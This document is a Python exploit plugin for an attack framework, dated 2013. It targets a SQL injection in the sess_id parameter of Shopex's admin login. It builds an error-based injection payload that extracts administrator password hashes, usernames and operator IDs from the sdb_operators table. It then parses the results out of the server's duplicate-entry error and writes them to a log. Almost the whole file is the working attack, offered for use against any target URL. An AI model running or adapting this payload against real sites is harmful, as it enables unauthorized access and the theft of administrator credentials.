# -*- coding: utf-8 -*-
class mstplugin:
    '''Shopex sqlinject'''
    infos = [
        ['Plugin','Shopex sessid SqlInject Exp'],
        ['Author','teamtopkarl'],
        ['Update','2013/10/24'],
        ['site','http://www.21hn.net']
        ]
    opts  = [
        ['URL','www.xxxxxxx.com','Url'],
        ['PATH','/shopadmin/','Cms path'],
        ['PORT','80','port']
        ]
    def exploit(self):
        '''start exploit'''
        url = fuck.urlformate(URL,PORT,PATH)
        exp = url+"index.php?ctl=passport&act=login&sess_id=1'+and(select+1+from(select+count(*),concat((select+(select+(select+concat(userpass,0x7e,username,0x7e,op_id)+from+sdb_operators+Order+by+username+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'='1"
        color.cprint("[*] Sending exp..",YELLOW)
        ok  = fuck.urlget(exp)
        if ok.getcode() == 200:
            tmp=fuck.find(r"Duplicate entry \'\w+'",ok.read())
            if len(tmp)>0:
                color.cprint("[*] Exploit Successful !",GREEN)
                i=1
                for res in tmp:
                    res=res[1:len(res)-1]
                    color.cprint("[%s] %s"%(i,res),GREEN)
                    fuck.writelog("shopex_sess_id_sqli",URL+"::"+res)
                    i+=1
            else:
                color.cprint("[!] TARGET NO VULNERABLE !",RED)
        else:
            color.cprint("[!] EXPLOIT FALSE ! CODE:%s"%ok.getcode(),RED)
